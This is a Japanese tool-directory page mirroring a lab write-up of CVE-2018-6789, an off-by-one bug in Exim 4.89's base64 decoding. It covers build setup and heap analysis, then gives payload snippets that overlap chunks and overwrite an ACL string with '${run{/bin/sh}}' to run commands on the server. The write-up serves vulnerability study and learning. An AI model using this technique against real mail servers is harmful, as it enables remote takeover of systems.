Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2018-6789 | Kitploit
ツール/GitHubGitHub/beraphin/cve-2018-6789
脆弱性分析エクスプロイトCTF学習と教育バイナリエクスプロイトラボと実践
GitHubberaphin/cve-2018-6789

CVE-2018-6789

リポジトリを見る
316年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2018-6789

環境構築

依存関係をインストールする

root@kitploit:~
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev

旧バージョンのeximをダウンロードする

root@kitploit:~
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf

次にLocal/Makefileを修正する デバッグしやすいように、各フォルダが現在のディレクトリを指すようにする

root@kitploit:~
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes

これによりデバッグが容易になる そしてコンパイルしてインストールする

root@kitploit:~
make install

./configureを修正し、以下の内容で直接上書きする

root@kitploit:~
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
  .ifdef CHECK_MAIL_HELO_ISSUED
  deny
    message = no HELO given before MAIL command
    condition = ${if def:sender_helo_name {no}{yes}}
  .endif

  accept

acl_check_data:
  accept

begin authenticators
fixed_cram:
  driver = cram_md5
  public_name = CRAM-MD5
  server_secret = ${if eq{$auth1}{ph10}{secret}fail}
  server_set_id = $auth1

実行

root@kitploit:~
./bin/exim -bd -d-receive

脆弱性分析

まずbase64.cにあるパッチを分析する: 1 ここでresultはbase64デコード結果を格納するバッファであり、store_get関数によって取得される パッチ適用前のsize計算に問題があることが分かる。sizeが4n〜4n+3の範囲にある場合、計算されたsizeの長さは等しくなるが、b64decodeは4の倍数でない引数をデコードする際に1〜2バイト多くデコードしてしまう

例えば、以下のように直接送信すると

root@kitploit:~
auth_md5('Hf'*42)

size=0x40
結果のメモリ配置:

root@kitploit:~
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0010 0x711d70  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  │....│....│....│....│
+0020 0x711d80  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  │....│....│....│....│
+0030 0x711d90  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 00  │....│....│....│....│
+0040 0x711da0  20 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │.aaa│aaaa│aaaa│aaaa│

もう一度試す

root@kitploit:~
auth_md5('Hf'*42+'HfH')

size=0x40

root@kitploit:~
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0010 0x711d70  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  │....│....│....│....│
+0020 0x711d80  df 1d f1 df  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  │....│....│....│....│
+0030 0x711d90  1d f1 df 1d  f1 df 1d f1  df 1d f1 df  1d f1 df 1d  │....│....│....│....│
+0040 0x711da0  f1 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │.aaa│aaaa│aaaa│aaaa│

2バイト溢れ出た

Eximのメモリ管理機構

eximはパフォーマンス向上のため、既存のヒープ管理機構の上に独自のメモリ管理機構を実装している。これはコードとglibcの間にある中間バッファに相当し、mallocとfreeの回数を減らすことを目的としている 2 eximでは、個々のヒープチャンクはstoreblockと呼ばれ、使用時にそこから適切なサイズのバッファを分割して使用する。storeblockを使い切った場合は、再度mallocでstoreblockを取得する。 各storeblockの構造は単純な単方向リストである:

root@kitploit:~
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
  struct storeblock *next;
  size_t length;
} storeblock;

プログラムがヒープを使用する際に主に使用するAPIはstore.cにある:

root@kitploit:~
store_get
store_release
store_extend
store_reset

store_getはバッファを取得するために使用され、その主要なコードは以下の通り:

root@kitploit:~
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145   int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161   /* If there was no free block, get a new one */

162   if (!newblock)
163     {
164     pool_malloc += mlength;           /* Used in pools */
165     nonpool_malloc -= mlength;        /* Exclude from overall total */
166     newblock = store_malloc(mlength);
...

毎回申請されるstore_blockの最小長さはSTORE_BLOCK_SIZE、すなわち8192であることが分かる

したがって、8192サイズのstore_blockは、その構造ヘッダとヒープチャンクヘッダを加えると合計サイズは0x2020になる 3

eximがクライアントから送信されたコマンドを実行するたびに、コマンドの実行が成功するとstore_resetを呼び出して、不要なキャッシュや余分なstore_blockを解放する
ここで言う実行成功には、コマンドの形式が正しいことや、メールアドレスに不正な文字が含まれていないことなどが含まれる。そうでない場合はstore_resetは呼び出されない

悪用のアプローチ

この脆弱性は古典的なoff-by-oneである(実際には2バイト溢れ出ることができる)。しかし、溢れ出るバイト数が少ないため、ヒープチャンク上の重要な構造を直接上書きすることはできない。そこで、ptmallocのいくつかの特性を利用してこの脆弱性の影響を拡大し、より広範囲のoverflow、あるいはoverlapに変換する必要がある。
off-by-oneの脆弱性に対する古典的な悪用方法として、chunk enlarge -> chunk overlapがある。ヒープチャンクのsizeを大きく変更し、偽のヒープヘッダを偽造してglibcのsanity checkをバイパスすることで、ヒープチャンクの重なりを引き起こし、より広範囲の上書きを実現する。

ここでの主なプロセスは、chunk enlarge -> chunk overlap -> storeblock内のnextポインタの破壊、そしてstore_resetをトリガーして任意のヒープチャンクのfreeを引き起こすことである。再度このチャンクを申請できれば、その内容を変更できる(type confusion)。

mehは記事の中で、ACL文字列が存在するヒープチャンクの改変を推奨している。ACL文字列の処理にはコマンド実行機能が存在するためだ。 ACLの文字列は非常に多いが、ほとんどはNULLである(おそらく設定ファイルに関係している)。ここではacl_smtp_mail文字列を選択した。そのコマンド実行の構文は以下の通り

root@kitploit:~
${run{command}}

おおよそのヒープレイアウトは以下の通り 4

最初のチャンクはbase64デコードで得られるチャンクで、off-by-oneに使用される。そのため、storeblockの末尾に位置する必要がある。便宜上、ここではbase64デコード結果を格納するために0x2020より大きいチャンクを直接申請する;
2番目のチャンクはsender_helo_nameで、次のチャンクを上書きするために使用される。sender_helo_nameはstoreblockに格納されるのではなく、直接mallocされる:

root@kitploit:~
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);

したがって、サイズは任意でよい。 3番目のチャンクはbase64デコードで得られるチャンクで、主にヘッダの偽造と上書きに使用される。そのため、storeblockの先頭部分に位置する必要がある。便宜上、こちらも0x2020サイズを直接申請する。

Exploit

私のexpも、ネット上で公開されている他の人の分析に従って一歩ずつ作成したものである。大まかな方針は同じだが、ヒープのレイアウトが他の人とは少し異なるため、細かいパラメータもいくつか異なっている。

まず、サイズ0x6060のunsortedbinを生成する。以下のコマンドだけで実現できる

root@kitploit:~
ehlo('a'*0x1000)

eximが"EHLO "+'a'*0x1000を受信すると、match.cのmatch_check_list関数で以下の3つの文字列が生成される

root@kitploit:~
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)

ここでnameは'a'*0x1000である

nameの長さは0x1000なので、各文字列は1つのstoreblockを個別に占有する。これら3つの文字列は、連続した3つのstoreblockにそれぞれ配置される eximがehloコマンドを正常に完了すると、smtp_in.cのsmtp_setup_msgで前述の3つの文字列が解放され、0x6060サイズのヒープチャンクが得られる:

root@kitploit:~
4369     cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370     smtp_reset(reset_point);
4371     toomany = FALSE;
4372     break;   /* HELO/EHLO */

このときのヒープレイアウトは以下の通り: 5

sender_helo_nameをヒープチャンクの中央に配置するために、元のsender_helo_nameを解放し、次に上部のヒープチャンクをプレースホルダで占有する必要がある。2番目のsender_helo_nameが配置されたら、上部のヒープチャンクを解放する。
ここではプレースホルダにunrecognizeコマンドを使用している。unrecognizeコマンドを受信することはコマンド実行の失敗に相当し、次のコマンド実行が成功した後で自動的に解放されるためである

注意すべき点として、unrecognizeコマンドによるプレースホルダの原理は、コマンドをeximに送信するとeximがsynprot_errorを呼び出してエラーを報告することである。以下のような感じだ:

root@kitploit:~
79099 LOG: smtp_syntax_error MAIN
  SMTP syntax error in "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
**** debug string too long - truncated ****

しかし、commandがすべて表示可能文字であれば、eximはそのために新しいヒープチャンクをmallocしない:

root@kitploit:~
 290 const uschar *
 291 string_printing2(const uschar *s, BOOL allow_tab)
 292 {
 293 int nonprintcount = 0;
 294 int length = 0;
 295 const uschar *t = s;
 296 uschar *ss, *tt;
 297 
 298 while (*t != 0)
 299   {
 300   int c = *t++;
 301   if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
 302   length++;
 303   }
 304 
 305 if (nonprintcount == 0) return s;
 306 
 307 /* Get a new block of store guaranteed big enough to hold the
 308 expanded string. */
 309 
 310 ss = store_get(length + nonprintcount * 3 + 1);
 ...

command内に表示不可能な文字が含まれている場合、eximは新しいバッファを申請し、その中の表示不可能な文字を8進数文字列に変換する。例えば'\xee'->"\356"となる。これがlength + (nonprintcount * 3 + 1)の由来である

そこで、まずsender_ehlo_nameを小さなヒープチャンクに配置し、次に0x800個の'\xee'を送信してみる。これにより0x800 + 1 + 0x800 * 3=0x2001が申請される。現在のstoreblockにはこれほど大きな領域がないため、新しいstore_blockが申請される

root@kitploit:~
ehlo('b'*0x20)
unrec('\xee'*0x800)

6

次に、0x2010サイズのsender_elho_nameを申請する:

root@kitploit:~
ehlo('x'*0x2020)

これにより、まず元の0x20のsender_elho_nameが解放される:

root@kitploit:~
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
1838 
1839 /* Discard any previous helo name */
1840 
1841 if (sender_helo_name != NULL)
1842   {
1843   store_free(sender_helo_name);
1844   sender_helo_name = NULL;
1845   }
...

そして新しいsender_helo_nameを申請する。すべてが完了すると、store_resetが呼び出されて不要なヒープチャンクがクリアされる。これにより、0x2020サイズのエラーメッセージがfreeされ、上で既に解放されたsender_helo_nameとmalloc_consolidateが発生して、0x2050サイズの新しいヒープチャンクが形成される: 7

これでヒープレイアウトはほぼ完成となる。次に、直接プレースホルダを配置して脆弱性をトリガーする

root@kitploit:~
payload = "d"*(0x2020+0x30-0x18-1)
auth_md5(b64encode(payload)+"EfE")

上部のヒープチャンクをプレースホルダで占有し、1バイト溢れ出させてsizeを0x2021から0x20f1に変更する 次に最下部のヒープチャンクをプレースホルダで占有し、0x1f61のsizeを偽造して、次のヒープチャンクを指すようにする

root@kitploit:~
payload2 = 'm'*0x38+p64(0x1f61) 
auth_md5(b64encode(payload2))

ここでもう1つヒープチャンクを申請する。そうしないと、上書きされたstoreblockが最後のstoreblockになり、nextがnullになるためだ

root@kitploit:~
auth_md5(b64encode('a'*0x1000))

この時点でsender_helo_nameを解放してchunk overlapを引き起こすことができる。ただし、ここで1点注意が必要だ。最下部のヒープチャンクがnextポインタを提供する必要があるため(これを上書きして任意アドレスのfreeを実現する)、このチャンクがfreeされるのは望ましくない。そこで、無効なnameを構成してsender_helo_nameだけを解放する:

root@kitploit:~
2079 static int
2080 smtp_setup_batch_msg(void)
2081 {
2082 int done = 0;
2083 void *reset_point = store_get(0);

...
3998     HELO_EHLO:      /* Common code for HELO and EHLO */
3999     cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
4000     cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
4001 
4002     /* Reject the HELO if its argument was invalid or non-existent. A
4003     successful check causes the argument to be saved in malloc store. */
4004 
4005     if (!check_helo(smtp_cmd_data))
4006       {
...
4022       break;
4023       } 

check_heloが失敗した場合、プログラムはこのループを抜け出し、store_resetを呼び出さない。それでは、check_heloのコードロジックを見てみよう:

root@kitploit:~
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
...
1870   /* Non-literals must be alpha, dot, hyphen, plus any non-valid chars
1871   that have been configured (usually underscore - sigh). */
1872 
1873   else if (*s)
1874     for (yield = TRUE; *s; s++)
1875       if (!isalnum(*s) && *s != '.' && *s != '-' &&
1876           Ustrchr(helo_allow_chars, *s) == NULL)
1877         {
1878         yield = FALSE;
1879         break;
1880         }
...
1885 return yield;
1886 }

check_heloが送信された文字に対していくつかのチェックを行っていることが分かる。具体的には、英数字または一部の句読点、あるいはhelo_allow_charsに含まれる文字である必要がある。ただし、通常helo_alow_charsは空で、これは設定ファイルで設定されるものと思われる。

したがって、スペースを含むsender_helo_nameを構成できる:

root@kitploit:~
ehlo('pwn it!')   #must include some invalide chars

これによりヒープチャンクの重なりが発生する。

次に、このヒープチャンクをプレースホルダで占有してnextポインタを上書きし、ACL文字列が存在するヒープチャンクを指すようにする。ここで1つ問題がある。他のexpは部分的な上書き(partial overwrite)を利用してaslrをバイパスしているが、これは私の環境では機能しない。ACLチャンクとnextが指すチャンクが離れすぎているためだ。

root@kitploit:~
pwndbg> tel 0x7214c0+0x2030
00:0000│   0x7234f0 ◂— 0x0
01:0008│   0x7234f8 ◂— 0x2021 /* '! ' */
02:0010│   0x723500 —▸ 0x728510           <== next
03:0018│   0x723508 ◂— 0x2000

pwndbg> tel 0x6f7990                      <== acl chunk
00:0000│   0x6f7990 ◂— 0x30 /* '0' */
01:0008│   0x6f7998 ◂— 0x2021 /* '! ' */
02:0010│   0x6f79a0 —▸ 0x7264f0 —▸ 0x72e5f0 —▸ 0x730640 —▸ 0x732660 ◂— ...
03:0018│   0x6f79a8 ◂— 0x2000
04:0020│   0x6f79b0 ◂— 0x7a7a2f656d6f682f ('/home/zz')
05:0028│   0x6f79b8 ◂— 0x76632f4156452f78 ('x/EVA/cv')
06:0030│   0x6f79c0 ◂— 0x362d383130322d65 ('e-2018-6')
07:0038│   0x6f79c8 ◂— 0x6d6978652f393837 ('789/exim')

そのため、私のexpは絶対アドレスを採用している

root@kitploit:~
payload3 = 'y'*0x2010 + p64(0) + p64(0x2021) + p64(acl_string_block+0x10) +p64(0x2008)
auth_md5(b64encode(payload3))

これにより、acl_stringが存在するヒープチャンクがこのstore_blockのチェーンに追加される。sender_helo_nameを交換すると、これらのヒープチャンクはすべてstore_resetでfreeされる。 そのため、今回は正当な名前を送信する:

root@kitploit:~
ehlo('I'*16)

今回再びヒープチャンクを申請すると、ACL文字列が存在するヒープチャンクを取得できる:

root@kitploit:~
payload4='J'*0x60+'${run{/bin/sh}}\x00'
payload4+=((0x500-len(payload4))*'J')
auth_md5(b64encode(payload4))

ここで上書きしているのはacl_smtp_mailが指すアドレスである。基本的にすべてのACL文字列はこのヒープチャンク内にある。これらの文字列はconfigureから1つずつ読み出されてstore_getで取得したバッファに格納されるため、このstoreblockの中に連続して配置されている。

最後にACL関連のAPIを呼び出す:

root@kitploit:~
r.sendline('MAIL FROM: <[email protected]>')

その後、smtp_setup_msg->acl_check->acl_check_internal->expand_string->expand_cstring->expand_string_internal->child_open->child_open_uid内でexecveが呼び出され、run内のコマンドが実行される。以下はサーバー側のデバッグ情報で、コマンドが実際に実行されたことが確認できる 8

参考

https://medium.com/@straightblast426/my-poc-walk-through-for-cve-2018-6789-2e402e4ff588 https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789

ツールをダウンロード